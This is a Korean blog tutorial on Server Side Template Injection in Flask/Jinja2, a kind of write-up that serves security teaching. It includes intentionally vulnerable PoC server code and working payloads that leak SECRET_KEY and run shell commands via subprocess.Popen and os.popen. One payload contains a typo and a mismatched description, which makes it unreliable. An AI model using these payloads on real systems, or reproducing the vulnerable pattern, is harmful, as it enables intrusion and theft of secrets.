본문 바로가기
Hack/Web

Server Side Template Injection (SSTI)

by Becoming a Hacker 2022. 4. 12.
반응형

Web Template Engine이란?

Web Template Engine이란 웹 템플릿과 웹 컨텐츠 정보를 처리하기 위해 설계된 소프트웨어로 웹 문서가 출력되는 템플릿 엔진을 의미합니다. 또한, Web Template Engine은 View Code(HTML)와 Data Logic Code(DB Connection)를 분리해주는 기능을 합니다.

출처 : 나무위키


Server Side Template Injection(SSTI)

Server Side Template Injection(이하 SSTI)은 공격자가 서버에서 사용 중인 Template 구문으로 페이로드를 구성하여 입력함으로써 Template 구문이 서버에서 해석되어 실행되도록 하는 공격입니다.

 

Template 구문은 Teplate Engine마다 다른 형태를 가지고 있는데요. SSTI 취약점이 발생하는 경우 아래 사진과 같은 Payload를 입력함으로써 어떤 Template Engine을 사용하고 있는 지 유추해볼 수 있습니다.

Template Engine 유추

 

Jinja2(Python)에서 사용하는 Template 구문에 대한 구분자는 아래와 같습니다.

구분자 설명
{% ... %} 상태에 대한 구분자로 for문이나 if문을 사용할 때 필요합니다.
{{ ... }} Template Output에 대한 구분자로 변수를 넣어 출력이 가능하며, 공격에 악용될 수 있습니다.
{# ... #} 주석에 대한 구분자입니다.

 

지금부터 Flask PoC Code를 통해 웹 서버를 구축하고 SSTI 취약점으로 Remote Code Execution(RCE)을 진행해보겠습니다.

Flask PoC Code

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.config.SECRET_KEY = "hacksms"

@app.route('/')
def index():
    data = request.args.get("ssti",'')
    template = '''<h1> SSTI is Very Dangerous. <span>{}</span></h1>'''.format(data)
    return render_template_string(template)

app.run(host="localhost", port=8080)

실행 화면

 

1. 가장 기본이라고 할 수 있는 SSTI 공격 구문을 입력해보겠습니다.

{{ 10*10 }}

SSTI 취약점 발생

 

2. SSTI가 발생하다면, 암호화 인증에 사용되는 SECRET_KEY를 획득할 수 있습니다.

{{ config.SECRET_KEY }}

SECRET_KEY 획득

 

3. python에는 모든 Class에 상속된 Object Class가 존재하며, Object Class 내 Sub Class를 이용하여 여러 Class들을 사용할 수 있습니다.

※ MRO(Method Resolution Order) : 다중 상속 시 메소드 실행 순서를 지정하는 기능을 하며, 공격 구문에서는 Object Class를 선택하기 위해 사용됩니다.

{{ "".__class__.__mro__[1].__subclasses__() }}

Object Class 내 Sub Class

 

4. subprocess.Popen Class를 선택하여 원격에서 시스템 명령어를 실행시키는 방법은 다음과 같습니다.

공격 구문 설명
"".__class__.__mro__[1].__subclasses__()[426] subprocess.Popen Class 선택
('hostname', shell=True, stdout=-1).communicate()[0].decode() popen("hostname") 결과 출력
{{ "".__class__.__mro__[1].__subclasses__()[426]('hostname', shell=True, stdout=-1).communicate()[0].decode() }}

popen 실행 결과

 

5. 모듈 사용을 통한 명령어 실행 방법은 다음과 같습니다.

공격 구문 설명
"".classs.__init__.__globals__["sys"].modules["os"].popen subprocess.Popen Class 선택
("hostname").read() popen("hostname") 결과 출력
{{ "".classs.__init__.__globals__["sys"].modules["os"].popen("hostname").read() }}

popen 실행 결과

 

댓글